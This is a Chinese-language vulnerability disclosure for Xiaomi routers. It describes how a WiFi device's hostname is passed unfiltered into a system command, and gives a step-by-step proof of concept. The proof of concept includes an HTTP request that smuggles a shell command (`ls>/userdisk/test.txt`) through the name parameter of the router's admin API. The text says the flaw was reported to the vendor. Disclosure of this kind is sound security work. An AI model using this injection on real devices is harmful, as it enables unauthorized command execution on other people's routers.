=================by 大蝉@xs3c.co===============转载请注明出处=============
漏洞描述
所有通过Wifi连入小米路由器网络的设备会触发_hookWifiConnect函数,由_hookWifiConnect调用_doPush给管理员推送设备接入消息,由于_doPush函数中未过滤payload->name导致设备名被带入系统命令执行。
payload结构如下:
local payload = {
[“type”] = 3,
[“mac”] = mac,
[“name”] = name
}
利用条件:
1.需要可以访问小米路由器web后台,因为payload->name是DHCP设备表或者数据库查询得到,所以需要先出发数据库更新,把Mac地址与恶意构造的主机名绑定。
2.设备未被数据库库录入过,如果已经录入,payload->name将使用数据库现存的主机名,这个条件可以通过伪造Mac绕过。
3.可以接入小米wifi。
POC:
1.保证终端设备未曾连入过wifi。
2.调用后台API增加Mac黑名单,触发数据库更新
HTTP包如下:
GET /cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxx/api/xqnetwork/manually_add?name=asdf`ls>/userdisk/test.txt`asdf&mac=A0%3a3B%3aE3%3a9E%3a65%3a1B&model=0&option=0 HTTP/1.1
Host: 192.168.31.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxx/web/setting/safe
Cookie: somecookie
DNT: 1
Connection: close
3.通过后台删除被Ban的Mac记录,从而使设备能够顺利接入网络,触发_hookWifiConnect。
4.设备接入wifi。
5.在/userdisk/目录生成文件test.txt,内容为系统命令ls的结果
已于2017-01-16提交小米安全中心,并得到响应。